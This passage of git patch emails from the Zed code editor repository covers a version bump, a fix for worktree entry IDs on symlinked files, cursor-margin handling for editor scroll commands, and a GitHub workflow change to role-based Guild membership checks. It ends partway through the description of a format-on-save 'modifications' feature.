+    pub fn reset_with_uniform_height(&self, element_count: usize, height: Pixels) {
+        self.reset(element_count);
+        self.apply_uniform_item_height(height);
+    }
+
+    fn apply_uniform_item_height(&self, height: Pixels) {
+        let size_hint = Size {
+            width: px(0.),
+            height,
+        };
+        let mut state = self.0.borrow_mut();
+        let new_items = state
+            .items
+            .iter()
+            .map(|item| ListItem::Unmeasured {
+                size_hint: Some(item.size_hint().unwrap_or(size_hint)),
+                focus_handle: item.focus_handle(),
+            })
+            .collect::<Vec<_>>();
+        let mut tree = SumTree::default();
+        tree.extend(new_items, ());
+        state.items = tree;
+    }
+
     /// Remeasure all items while preserving proportional scroll position.
     ///
     /// Use this when item heights may have changed (e.g., font size changes)

From 6979d7281f261004e72c15a14f7c31da89d16e63 Mon Sep 17 00:00:00 2001
From: "zed-zippy[bot]" <234243425+zed-zippy[bot]@users.noreply.github.com>
Date: Wed, 8 Jul 2026 18:06:44 +0200
Subject: [PATCH 340/772] Bump Zed to v1.12.0 (#60600)

Release Notes:

- N/A

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 Cargo.lock            | 2 +-
 crates/zed/Cargo.toml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 1d5fe8fd9bd8b7..b9b4ea96158f45 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -22994,7 +22994,7 @@ dependencies = [
 
 [[package]]
 name = "zed"
-version = "1.11.0"
+version = "1.12.0"
 dependencies = [
  "acp_thread",
  "acp_tools",
diff --git a/crates/zed/Cargo.toml b/crates/zed/Cargo.toml
index 2b67736bf0e250..213147207c3c6f 100644
--- a/crates/zed/Cargo.toml
+++ b/crates/zed/Cargo.toml
@@ -2,7 +2,7 @@
 description = "The fast, collaborative code editor."
 edition.workspace = true
 name = "zed"
-version = "1.11.0"
+version = "1.12.0"
 publish.workspace = true
 license = "GPL-3.0-or-later"
 authors = ["Zed Team <hi@zed.dev>"]

From 7f5cf583dc72035efe68cb3ef086857cda0c7a47 Mon Sep 17 00:00:00 2001
From: Jiby Jose <hello@jiby.me>
Date: Wed, 8 Jul 2026 18:37:02 +0200
Subject: [PATCH 341/772] Fix worktree entry IDs for symlinked files (#57846)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #55792

Release Notes:

- Fixed files in pnpm workspaces moving to symlinked `node_modules`
paths after saving.

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/worktree/src/worktree.rs               | 122 ++++++++++++------
 .../tests/integration/worktree_tests.rs       |  92 +++++++++++++
 2 files changed, 174 insertions(+), 40 deletions(-)

diff --git a/crates/worktree/src/worktree.rs b/crates/worktree/src/worktree.rs
index c31385f455371e..6c90de189b5f82 100644
--- a/crates/worktree/src/worktree.rs
+++ b/crates/worktree/src/worktree.rs
@@ -272,16 +272,65 @@ struct BackgroundScannerState {
     watched_dir_abs_paths_by_entry_id: HashMap<ProjectEntryId, Arc<Path>>,
     path_prefixes_to_scan: HashSet<Arc<RelPath>>,
     paths_to_scan: HashSet<Arc<RelPath>>,
-    /// The ids of all of the entries that were removed from the snapshot
-    /// as part of the current update. These entry ids may be re-used
-    /// if the same inode is discovered at a new path, or if the given
-    /// path is re-created after being deleted.
-    removed_entries: HashMap<u64, Entry>,
+    removed_entries: RemovedEntries,
     changed_paths: Vec<Arc<RelPath>>,
     prev_snapshot: Snapshot,
     scanning_enabled: bool,
 }
 
+/// The entries that were removed from the snapshot as part of the current
+/// update. Their entry ids may be re-used if the same inode is discovered
+/// at a new path, or if the given path is re-created after being deleted.
+///
+/// Symlink aliases inside the worktree share their inode (and usually mtime)
+/// with the symlink target, so an inode may correspond to several entries.
+/// The path index allows an exact match to take precedence over the
+/// inode-based rename heuristics in that case.
+#[derive(Default)]
+struct RemovedEntries {
+    by_inode: HashMap<u64, Entry>,
+    by_path: HashMap<Arc<RelPath>, Entry>,
+}
+
+impl RemovedEntries {
+    fn insert(&mut self, entry: &Entry) {
+        self.by_path.insert(entry.path.clone(), entry.clone());
+        match self.by_inode.entry(entry.inode) {
+            hash_map::Entry::Occupied(mut o) => {
+                if entry.id > o.get().id {
+                    o.insert(entry.clone());
+                }
+            }
+            hash_map::Entry::Vacant(v) => {
+                v.insert(entry.clone());
+            }
+        }
+    }
+
+    fn take_by_path(&mut self, path: &RelPath, inode: u64) -> Option<Entry> {
+        if self.by_path.get(path)?.inode != inode {
+            return None;
+        }
+        let removed = self.by_path.remove(path)?;
+        if let hash_map::Entry::Occupied(o) = self.by_inode.entry(removed.inode)
+            && o.get().id == removed.id
+        {
+            o.remove();
+        }
+        Some(removed)
+    }
+
+    fn take_by_inode(&mut self, inode: u64) -> Option<Entry> {
+        let removed = self.by_inode.remove(&inode)?;
+        if let hash_map::Entry::Occupied(o) = self.by_path.entry(removed.path.clone())
+            && o.get().id == removed.id
+        {
+            o.remove();
+        }
+        Some(removed)
+    }
+}
+
 #[derive(Clone, Debug, Eq, PartialEq)]
 struct EventRoot {
     path: Arc<RelPath>,
@@ -1229,7 +1278,7 @@ impl LocalWorktree {
                         scanning_enabled,
                         path_prefixes_to_scan: Default::default(),
                         paths_to_scan: Default::default(),
-                        removed_entries: Default::default(),
+                        removed_entries: RemovedEntries::default(),
                         changed_paths: Default::default(),
                     }),
                     phase: BackgroundScannerPhase::InitialScan,
@@ -3086,21 +3135,11 @@ impl BackgroundScannerState {
     }
 
     fn reuse_entry_id(&mut self, entry: &mut Entry) {
-        if let Some(mtime) = entry.mtime {
-            // If an entry with the same inode was removed from the worktree during this scan,
-            // then it *might* represent the same file or directory. But the OS might also have
-            // re-used the inode for a completely different file or directory.
-            //
-            // Conditionally reuse the old entry's id:
-            // * if the mtime is the same, the file was probably been renamed.
-            // * if the path is the same, the file may just have been updated
-            if let Some(removed_entry) = self.removed_entries.remove(&entry.inode) {
-                if removed_entry.mtime == Some(mtime) || removed_entry.path == entry.path {
-                    entry.id = removed_entry.id;
-                }
-            } else if let Some(existing_entry) = self.snapshot.entry_for_path(&entry.path) {
-                entry.id = existing_entry.id;
-            }
+        let Some(mtime) = entry.mtime else {
+            return;
+        };
+        if let Some(entry_id) = self.reused_entry_id(&entry.path, entry.inode, mtime) {
+            entry.id = entry_id;
         }
     }
 
@@ -3110,6 +3149,20 @@ impl BackgroundScannerState {
         path: &RelPath,
         metadata: &fs::Metadata,
     ) -> ProjectEntryId {
+        self.reused_entry_id(path, metadata.inode, metadata.mtime)
+            .unwrap_or_else(|| ProjectEntryId::new(next_entry_id))
+    }
+
+    fn reused_entry_id(
+        &mut self,
+        path: &RelPath,
+        inode: u64,
+        mtime: MTime,
+    ) -> Option<ProjectEntryId> {
+        if let Some(removed_entry) = self.removed_entries.take_by_path(path, inode) {
+            return Some(removed_entry.id);
+        }
+
         // If an entry with the same inode was removed from the worktree during this scan,
         // then it *might* represent the same file or directory. But the OS might also have
         // re-used the inode for a completely different file or directory.
@@ -3117,14 +3170,12 @@ impl BackgroundScannerState {
         // Conditionally reuse the old entry's id:
         // * if the mtime is the same, the file was probably been renamed.
         // * if the path is the same, the file may just have been updated
-        if let Some(removed_entry) = self.removed_entries.remove(&metadata.inode) {
-            if removed_entry.mtime == Some(metadata.mtime) || *removed_entry.path == *path {
-                return removed_entry.id;
-            }
-        } else if let Some(existing_entry) = self.snapshot.entry_for_path(path) {
-            return existing_entry.id;
+        if let Some(removed_entry) = self.removed_entries.take_by_inode(inode) {
+            (removed_entry.mtime == Some(mtime) || *removed_entry.path == *path)
+                .then_some(removed_entry.id)
+        } else {
+            Some(self.snapshot.entry_for_path(path)?.id)
         }
-        ProjectEntryId::new(next_entry_id)
     }
 
     async fn insert_entry(&mut self, entry: Entry, fs: &dyn Fs, watcher: &dyn Watcher) -> Entry {
@@ -3292,17 +3343,7 @@ impl BackgroundScannerState {
                 removed_dir_abs_paths.push(watch_path);
             }
 
-            match self.removed_entries.entry(entry.inode) {
-                hash_map::Entry::Occupied(mut e) => {
-                    let prev_removed_entry = e.get_mut();
-                    if entry.id > prev_removed_entry.id {
-                        *prev_removed_entry = entry.clone();
-                    }
-                }
-                hash_map::Entry::Vacant(e) => {
-                    e.insert(entry.clone());
-                }
-            }
+            self.removed_entries.insert(entry);
 
             if entry.path.file_name() == Some(GITIGNORE) {
                 let abs_parent_path = self.snapshot.absolutize(&entry.path.parent().unwrap());
@@ -4800,7 +4841,8 @@ impl BackgroundScanner {
         {
             let mut state = self.state.lock().await;
             state.snapshot.completed_scan_id = state.snapshot.scan_id;
-            for (_, entry) in mem::take(&mut state.removed_entries) {
+            let RemovedEntries { by_inode, by_path } = mem::take(&mut state.removed_entries);
+            for entry in by_inode.into_values().chain(by_path.into_values()) {
                 state.scanned_dirs.remove(&entry.id);
             }
         }
diff --git a/crates/worktree/tests/integration/worktree_tests.rs b/crates/worktree/tests/integration/worktree_tests.rs
index 1fd7ed5b557f25..f63bf7d1085f2d 100644
--- a/crates/worktree/tests/integration/worktree_tests.rs
+++ b/crates/worktree/tests/integration/worktree_tests.rs
@@ -1198,6 +1198,98 @@ async fn test_real_fs_scan_symlinks_expanded(cx: &mut TestAppContext) {
     });
 }
 
+#[gpui::test]
+async fn test_internal_symlink_updates_preserve_entry_ids(cx: &mut TestAppContext) {
+    init_test(cx);
+    let fs = FakeFs::new(cx.background_executor.clone());
+
+    fs.insert_tree(
+        "/root",
+        json!({
+            "project": {
+                "real-dir": {
+                    "existing.rs": "old",
+                },
+                "links": {}
+            }
+        }),
+    )
+    .await;
+
+    fs.create_symlink(
+        "/root/project/links/internal".as_ref(),
+        "../real-dir".into(),
+    )
+    .await
+    .unwrap();
+
+    let tree = Worktree::local(
+        Path::new("/root/project"),
+        true,
+        fs.clone(),
+        Default::default(),
+        true,
+        WorktreeId::from_proto(0),
+        &mut cx.to_async(),
+    )
+    .await
+    .unwrap();
+
+    cx.read(|cx| tree.read(cx).as_local().unwrap().scan_complete())
+        .await;
+
+    let (real_entry_id, symlink_entry_id, old_mtime) = tree.read_with(cx, |tree, _| {
+        let real_entry = tree
+            .entry_for_path(rel_path("real-dir/existing.rs"))
+            .unwrap();
+        let symlink_entry = tree
+            .entry_for_path(rel_path("links/internal/existing.rs"))
+            .unwrap();
+        assert_eq!(real_entry.inode, symlink_entry.inode);
+        assert_eq!(real_entry.mtime, symlink_entry.mtime);
+        assert_ne!(real_entry.id, symlink_entry.id);
+        (real_entry.id, symlink_entry.id, real_entry.mtime)
+    });
+
+    fs.write(Path::new("/root/project/real-dir/existing.rs"), b"new")
+        .await
+        .unwrap();
+
+    wait_for_condition(cx, |cx| {
+        tree.read_with(cx, |tree, _| {
+            let real_entry = tree
+                .entry_for_path(rel_path("real-dir/existing.rs"))
+                .unwrap();
+            let symlink_entry = tree
+                .entry_for_path(rel_path("links/internal/existing.rs"))
+                .unwrap();
+            real_entry.mtime != old_mtime && symlink_entry.mtime != old_mtime
+        })
+    })
+    .await;
+
+    tree.read_with(cx, |tree, _| {
+        let real_entry = tree
+            .entry_for_path(rel_path("real-dir/existing.rs"))
+            .unwrap();
+        let symlink_entry = tree
+            .entry_for_path(rel_path("links/internal/existing.rs"))
+            .unwrap();
+
+        assert_eq!(real_entry.inode, symlink_entry.inode);
+        assert_eq!(real_entry.id, real_entry_id);
+        assert_eq!(
+            tree.entry_for_id(real_entry_id).unwrap().path.as_ref(),
+            rel_path("real-dir/existing.rs")
+        );
+        assert_eq!(symlink_entry.id, symlink_entry_id);
+        assert_eq!(
+            tree.entry_for_id(symlink_entry_id).unwrap().path.as_ref(),
+            rel_path("links/internal/existing.rs")
+        );
+    });
+}
+
 #[cfg(target_os = "macos")]
 #[gpui::test]
 async fn test_renaming_case_only(cx: &mut TestAppContext) {

From 029bf2f284b4e59f20175d78443e630468f3a3e5 Mon Sep 17 00:00:00 2001
From: TwoClocks <5883156+TwoClocks@users.noreply.github.com>
Date: Wed, 8 Jul 2026 09:37:08 -0700
Subject: [PATCH 342/772] Make editor::LineUp & editor::LineDown honor
 vertical_scroll_margin like vim::LineUp & vim::LineDown (#52057)

## Context

This is an implementation of this feature:
https://github.com/zed-industries/zed/discussions/49821

Although, I'd argue it's a bug fix, not a feature.

Either way : This copies the window scroll logic from the `vim` mode
versions with out all the extra logic for visual mode.

Could refactor the common logic out of the vim code and make it common.
But that seems like a bigger PR. Happy to take a stab at it if that's
what you prefer.
Could also add new commands for the new behavior if you prefer. I didn't
do that, because it seems like more clutter in the commands, and my
belief that the existing behavior is a bug. But happy to do that if you
prefer.

## How to Review

creates new function `scroll_screen_with_cursor_margin` in `scroll.rs`
wires up editor::LineUp/LineDown to new function in `elements.rs`
adds a test in  `editor_tests.rs`

## Self-Review Checklist

<!-- Check before requesting review: -->
- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [X] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

Release Notes:

- editor::LineUp/LineDown commands now honor vertical_scroll_margin
(same as vim::LineUp/LineDown)

---------

Co-authored-by: Kirill Bulatov <mail4score@gmail.com>
---
 crates/editor/src/editor_tests.rs | 84 +++++++++++++++++++++++++++++++
 crates/editor/src/element.rs      | 12 ++---
 crates/editor/src/scroll.rs       | 59 +++++++++++++++++++++-
 3 files changed, 148 insertions(+), 7 deletions(-)

diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 2fa319300e5eab..ca5cc9a6a2fda3 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -2958,6 +2958,90 @@ async fn test_scroll_page_up_page_down(cx: &mut TestAppContext) {
     });
 }
 
+#[gpui::test]
+async fn test_scroll_line_up_down_cursor_margin(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+    let mut cx = EditorTestContext::new(cx).await;
+    let line_height = cx.update_editor(|editor, window, cx| {
+        editor.set_vertical_scroll_margin(2, cx);
+        editor
+            .style(cx)
+            .text
+            .line_height_in_pixels(window.rem_size())
+    });
+    let window = cx.window;
+    // 5 visible lines with margin=2: valid cursor rows are [top+2 .. top+2] (only the middle row)
+    cx.simulate_window_resize(window, size(px(1000.), 5. * line_height));
+
+    // Cursor at row 0 — autoscroll leaves viewport at y=0.
+    cx.set_state(indoc! {"
+        ˇone
+        two
+        three
+        four
+        five
+        six
+        seven
+        eight
+        nine
+        ten
+    "});
+
+    cx.update_editor(|editor, window, cx| {
+        assert_eq!(editor.snapshot(window, cx).scroll_position().y, 0.);
+
+        // Scroll down 1: top=1, visible rows 1-5, margin=2 → min_row=3, max_row=3.
+        // Cursor at row 0 < min_row=3 → clamped to row 3.
+        editor.scroll_screen_with_cursor_margin(&ScrollAmount::Line(1.), window, cx);
+        assert_eq!(editor.snapshot(window, cx).scroll_position().y, 1.);
+        let snapshot = editor.display_snapshot(cx);
+        assert_eq!(
+            editor.selections.newest_display(&snapshot).head().row().0,
+            3,
+            "cursor clamped to min_row after scrolling down"
+        );
+    });
+
+    cx.update_editor(|editor, window, cx| {
+        // Scroll up 1: top=0, visible rows 0-4, margin=2 (top==0 special case) → min_row=0, max_row=2.
+        // Cursor at row 3 > max_row=2 → clamped to row 2.
+        editor.scroll_screen_with_cursor_margin(&ScrollAmount::Line(-1.), window, cx);
+        assert_eq!(editor.snapshot(window, cx).scroll_position().y, 0.);
+        let snapshot = editor.display_snapshot(cx);
+        assert_eq!(
+            editor.selections.newest_display(&snapshot).head().row().0,
+            2,
+            "cursor clamped to max_row after scrolling up"
+        );
+    });
+
+    cx.update_editor(|editor, window, cx| {
+        // Half page down (2 lines): top=2, visible rows 2-6, margin=2 → min_row=4, max_row=4.
+        // Cursor at row 2 < min_row=4 → clamped to row 4.
+        editor.scroll_screen_with_cursor_margin(&ScrollAmount::Page(0.5), window, cx);
+        assert_eq!(editor.snapshot(window, cx).scroll_position().y, 2.);
+        let snapshot = editor.display_snapshot(cx);
+        assert_eq!(
+            editor.selections.newest_display(&snapshot).head().row().0,
+            4,
+            "cursor clamped to min_row after scrolling half page down"
+        );
+    });
+
+    cx.update_editor(|editor, window, cx| {
+        // Half page up (2 lines): top=0, visible rows 0-4, margin=2 (top==0 special case) → min_row=0, max_row=2.
+        // Cursor at row 4 > max_row=2 → clamped to row 2.
+        editor.scroll_screen_with_cursor_margin(&ScrollAmount::Page(-0.5), window, cx);
+        assert_eq!(editor.snapshot(window, cx).scroll_position().y, 0.);
+        let snapshot = editor.display_snapshot(cx);
+        assert_eq!(
+            editor.selections.newest_display(&snapshot).head().row().0,
+            2,
+            "cursor clamped to max_row after scrolling half page up"
+        );
+    });
+}
+
 #[gpui::test]
 async fn test_autoscroll(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/editor/src/element.rs b/crates/editor/src/element.rs
index a82b3ea4488a7b..4ce36632f254a8 100644
--- a/crates/editor/src/element.rs
+++ b/crates/editor/src/element.rs
@@ -287,22 +287,22 @@ impl EditorElement {
         register_action(editor, window, Editor::scroll_cursor_bottom);
         register_action(editor, window, Editor::scroll_cursor_center_top_bottom);
         register_action(editor, window, |editor, _: &LineDown, window, cx| {
-            editor.scroll_screen(&ScrollAmount::Line(1.), window, cx)
+            editor.scroll_screen_with_cursor_margin(&ScrollAmount::Line(1.), window, cx)
         });
         register_action(editor, window, |editor, _: &LineUp, window, cx| {
-            editor.scroll_screen(&ScrollAmount::Line(-1.), window, cx)
+            editor.scroll_screen_with_cursor_margin(&ScrollAmount::Line(-1.), window, cx)
         });
         register_action(editor, window, |editor, _: &HalfPageDown, window, cx| {
-            editor.scroll_screen(&ScrollAmount::Page(0.5), window, cx)
+            editor.scroll_screen_with_cursor_margin(&ScrollAmount::Page(0.5), window, cx)
         });
         register_action(editor, window, |editor, _: &HalfPageUp, window, cx| {
-            editor.scroll_screen(&ScrollAmount::Page(-0.5), window, cx)
+            editor.scroll_screen_with_cursor_margin(&ScrollAmount::Page(-0.5), window, cx)
         });
         register_action(editor, window, |editor, _: &PageDown, window, cx| {
-            editor.scroll_screen(&ScrollAmount::Page(1.), window, cx)
+            editor.scroll_screen_with_cursor_margin(&ScrollAmount::Page(1.), window, cx)
         });
         register_action(editor, window, |editor, _: &PageUp, window, cx| {
-            editor.scroll_screen(&ScrollAmount::Page(-1.), window, cx)
+            editor.scroll_screen_with_cursor_margin(&ScrollAmount::Page(-1.), window, cx)
         });
         register_action(editor, window, Editor::move_to_previous_word_start);
         register_action(editor, window, Editor::move_to_previous_subword_start);
diff --git a/crates/editor/src/scroll.rs b/crates/editor/src/scroll.rs
index ec7f9036c4a2d4..dcd96c675c50e9 100644
--- a/crates/editor/src/scroll.rs
+++ b/crates/editor/src/scroll.rs
@@ -5,7 +5,7 @@ pub(crate) mod scroll_amount;
 use crate::editor_settings::ScrollBeyondLastLine;
 use crate::{
     Anchor, DisplayPoint, DisplayRow, Editor, EditorEvent, EditorMode, EditorSettings,
-    MultiBufferSnapshot, RowExt, SizingBehavior, ToPoint,
+    MultiBufferSnapshot, RowExt, SelectionEffects, SizingBehavior, ToPoint,
     display_map::{DisplaySnapshot, ToDisplayPoint},
     hover_popover::hide_hover,
     persistence::EditorDb,
@@ -945,6 +945,63 @@ impl Editor {
         self.set_scroll_position(new_position, window, cx);
     }
 
+    pub fn scroll_screen_with_cursor_margin(
+        &mut self,
+        amount: &ScrollAmount,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.scroll_screen(amount, window, cx);
+
+        let Some(visible_line_count) = self.visible_line_count() else {
+            return;
+        };
+        let display_snapshot = self.display_map.update(cx, |map, cx| map.snapshot(cx));
+        let top = self
+            .scroll_manager
+            .scroll_top_display_point(&display_snapshot, cx);
+        let vertical_scroll_margin =
+            (self.vertical_scroll_margin() as u32).min(visible_line_count as u32 / 2);
+
+        let max_point = display_snapshot.max_point();
+        let min_row = if top.row().0 == 0 {
+            DisplayRow(0)
+        } else {
+            DisplayRow(top.row().0 + vertical_scroll_margin)
+        };
+        let max_row = if top.row().0 + visible_line_count as u32 >= max_point.row().0 {
+            max_point.row()
+        } else {
+            DisplayRow(
+                (top.row().0 + visible_line_count as u32)
+                    .saturating_sub(1 + vertical_scroll_margin),
+            )
+        };
+
+        self.change_selections(
+            SelectionEffects::no_scroll().nav_history(false),
+            window,
+            cx,
+            |s| {
+                s.move_with(&mut |map, selection| {
+                    let head = selection.head();
+                    let new_row = if head.row() < min_row {
+                        min_row
+                    } else if head.row() > max_row {
+                        max_row
+                    } else {
+                        head.row()
+                    };
+                    if new_row != head.row() {
+                        let new_head =
+                            map.clip_point(DisplayPoint::new(new_row, head.column()), Bias::Left);
+                        selection.collapse_to(new_head, selection.goal);
+                    }
+                })
+            },
+        );
+    }
+
     /// Returns an ordering. The newest selection is:
     ///     Ordering::Equal => on screen
     ///     Ordering::Less => above or to the left of the screen

From 7dc634124c249c5625da643d94f9fccefad80c56 Mon Sep 17 00:00:00 2001
From: Lena <241371603+zelenenka@users.noreply.github.com>
Date: Wed, 8 Jul 2026 18:52:33 +0200
Subject: [PATCH 343/772] Switch Guild board automation to role checks (#60606)

Outside collaborators can't be added to GitHub teams, team membership is
restricted to org members.

https://docs.github.com/en/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization#:~:text=Outside%20collaborators%20cannot%20be%20added%20to%20a%20team%2C%20team%20membership%20is%20restricted%20to%20members%20of%20the%20organization

Release Notes:

- N/A
---
 .github/workflows/guild_new_pr_notify.yml | 15 +++++++++-----
 .github/workflows/pr_issue_labeler.yml    | 24 +++++++++++++++++++++--
 script/github-guild-board.py              | 15 ++++++++++----
 3 files changed, 43 insertions(+), 11 deletions(-)

diff --git a/.github/workflows/guild_new_pr_notify.yml b/.github/workflows/guild_new_pr_notify.yml
index babab1c8b9ccb7..8aad061e5f8a7c 100644
--- a/.github/workflows/guild_new_pr_notify.yml
+++ b/.github/workflows/guild_new_pr_notify.yml
@@ -40,18 +40,23 @@ jobs:
         with:
           github-token: ${{ steps.app-token.outputs.token }}
           script: |
-            const GUILD_TEAM_SLUG = 'guild-cohort-2';
+            // Guild cohort members are outside collaborators holding this custom
+            // repository role, not members of an org team.
+            const GUILD_ROLE_NAME = 'Guild Assign issues/PRs';
             const pr = context.payload.pull_request;
             const author = pr.user.login;
 
             const isGuildMember = async (username) => {
               try {
-                const response = await github.rest.teams.getMembershipForUserInOrg({
-                  org: 'zed-industries',
-                  team_slug: GUILD_TEAM_SLUG,
+                const response = await github.rest.repos.getCollaboratorPermissionLevel({
+                  owner: 'zed-industries',
+                  repo: 'zed',
                   username
                 });
-                return response.data.state === 'active';
+                // role_name is the effective (highest) role; for cohort outside
+                // collaborators that is the custom role. Built-in roles come back
+                // lowercased and won't match.
+                return (response.data.role_name || '').toLowerCase() === GUILD_ROLE_NAME.toLowerCase();
               } catch (error) {
                 if (error.status === 404) {
                   return false;
diff --git a/.github/workflows/pr_issue_labeler.yml b/.github/workflows/pr_issue_labeler.yml
index f295dcb4f9a68f..524d301aecc865 100644
--- a/.github/workflows/pr_issue_labeler.yml
+++ b/.github/workflows/pr_issue_labeler.yml
@@ -41,7 +41,9 @@ jobs:
             const STAFF_TEAM_SLUG = 'staff';
             const FIRST_CONTRIBUTION_LABEL = 'first contribution';
             const GUILD_LABEL = 'guild';
-            const GUILD_TEAM_SLUG = 'guild-cohort-2';
+            // Guild cohort members are outside collaborators holding this custom
+            // repository role, not members of an org team.
+            const GUILD_ROLE_NAME = 'Guild Assign issues/PRs';
             const COMMUNITY_CHAMPION_LABEL = 'community champion';
             const COMMUNITY_CHAMPIONS = [
               '0x2CA',
@@ -138,7 +140,25 @@ jobs:
             };
 
             const isStaffMember = (author) => isTeamMember(STAFF_TEAM_SLUG, author);
-            const isGuildMember = (author) => isTeamMember(GUILD_TEAM_SLUG, author);
+
+            const isGuildMember = async (author) => {
+              try {
+                const response = await github.rest.repos.getCollaboratorPermissionLevel({
+                  owner: 'zed-industries',
+                  repo: 'zed',
+                  username: author
+                });
+                // role_name is the effective (highest) role; for cohort outside
+                // collaborators that is the custom role. Built-in roles come back
+                // lowercased and won't match.
+                return (response.data.role_name || '').toLowerCase() === GUILD_ROLE_NAME.toLowerCase();
+              } catch (error) {
+                if (error.status !== 404) {
+                  throw error;
+                }
+                return false;
+              }
+            };
 
             const getIssueLabels = () => {
               if (listIncludesAuthor(COMMUNITY_CHAMPIONS, author)) {
diff --git a/script/github-guild-board.py b/script/github-guild-board.py
index 1fe4c34baaf715..7bdd8ab3a2a7ba 100644
--- a/script/github-guild-board.py
+++ b/script/github-guild-board.py
@@ -38,7 +38,10 @@
 GITHUB_API_URL = "https://api.github.com"
 REPO_OWNER = "zed-industries"
 REPO_NAME = "zed"
-GUILD_TEAM_SLUG = "guild-cohort-2"
+# Cohort members are outside collaborators on the repo holding this custom
+# repository role, rather than members of an org team. Rotating the cohort is
+# then just adding/removing collaborators, with no org seats involved.
+GUILD_ROLE_NAME = "Guild Assign issues/PRs"
 
 STATUS_FIELD = "Status"
 STATUS_IN_PROGRESS = "In Progress"
@@ -137,15 +140,19 @@ def github_rest_get_paginated(path):
 @lru_cache(maxsize=None)
 def is_guild_member(username):
     response = requests.get(
-        f"{GITHUB_API_URL}/orgs/{REPO_OWNER}/teams/{GUILD_TEAM_SLUG}/memberships/{username}",
+        f"{GITHUB_API_URL}/repos/{REPO_OWNER}/{REPO_NAME}/collaborators/{username}/permission",
         headers=GITHUB_HEADERS,
         timeout=30,
     )
+    # 404 means the user isn't a collaborator on the repo at all.
     if response.status_code == 404:
         return False
     response.raise_for_status()
-    # A pending invitation reports state "pending"; only active members count.
-    return response.json().get("state") == "active"
+    # role_name is the effective (highest) role for the user. For a cohort of
+    # outside collaborators whose only grant is this custom role, that is the
+    # custom role's name; built-in roles come back lowercased and won't match.
+    role_name = response.json().get("role_name") or ""
+    return role_name.lower() == GUILD_ROLE_NAME.lower()
 
 
 def issue_comments(issue_number):

From b9f3396b68c61e27f2aab38fbe4bcd274968befa Mon Sep 17 00:00:00 2001
From: G36maid <53391375+G36maid@users.noreply.github.com>
Date: Thu, 9 Jul 2026 00:53:11 +0800
Subject: [PATCH 344/772] Add support for `format_on_save` only changed lines
 (#49964)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Summary

Introduces `format_on_save` variants that format only modified lines,
limiting formatting to lines changed since the last commit. This
prevents massive diffs when editing legacy codebases. Aligns with VS
Code's `editor.formatOnSaveMode` naming:

- `"modifications"` — formats only git-diffed lines. Requires source
control; skips formatting if no diff is available.
- `"modifications_if_available"` — formats only git-diffed lines,
falling back to full-file formatting for untracked files, when source
control is unavailable, or when the LSP does not support range
formatting.

Also supports importing equivalent VS Code settings
(`formatOnSaveMode`).

This PR uses the range-based whitespace/newline infrastructure from the
dependency PR above.

## Changes


<details>
<summary><b>New settings, modified ranges computation, VS Code
import</b></summary>

### New settings (`language.rs`, `default.json`, `all-settings.md`)

Two new `FormatOnSave` variants: `Modifications` and
`ModificationsIfAvailable`.

### Modified ranges computation (`items.rs`)

- `compute_format_decision()` — reads `format_on_save` setting across
all buffers, determines whether to use ranged formatting (`Ranges`),
full formatting (`Full`), or skip (`Skip`).
- `compute_modified_ranges()` — extracts modified line ranges from git
diff hunks via `BufferDiffSnapshot`.
- `is_empty_range()` — helper to detect deletion-only hunks that produce
no formatable content.

The `save()` method calls `compute_format_decision()` and dispatches
accordingly.

### Modifications mode in `lsp_store.rs`

- Adds `FormatOnSave::Modifications |
FormatOnSave::ModificationsIfAvailable` to the formatter selection match
arm.
- `ModificationsIfAvailable` falls back to full-file formatting when
ranged formatting produces no results.

### VS Code settings import (`vscode_import.rs`, `settings_store.rs`)

Imports `editor.formatOnSaveMode` mapping:
- `"modifications"` → `FormatOnSave::Modifications`
- `"modificationsIfAvailable"` →
`FormatOnSave::ModificationsIfAvailable`
- `"file"` → `FormatOnSave::On`

</details>

## Tests

- `test_modifications_format_on_save` — basic modifications mode
formatting with dirty buffer
- `test_modifications_format_no_changes` — clean buffer triggers no
formatting
- `test_modifications_format_lsp_no_range_support` — LSP without range
formatting skips entirely for `Modifications`
- `test_modifications_format_lsp_returns_empty_edits` — empty edits
handled gracefully
- `test_modifications_format_multiple_hunks` — two non-adjacent edits
produce two separate range formatting requests

---

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


Closes #16509
Depends on #53942

Release Notes:

- Added `modifications` and `modifications_if_available` options to
`format_on_save`, which format only git-changed lines instead of the
entire file
- When using modifications mode, `remove_trailing_whitespace_on_save`
and `ensure_final_newline_on_save` are also scoped to changed lines,
preventing unwanted diff jitter in legacy codebases
- Added support for importing VS Code's `editor.formatOnSaveMode`
setting

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 assets/settings/default.json                  |    8 +-
 crates/editor/src/editor_tests.rs             | 1020 ++++++++++++++++-
 crates/editor/src/items.rs                    |  258 ++++-
 .../src/migrations/m_2025_10_02/settings.rs   |    6 +-
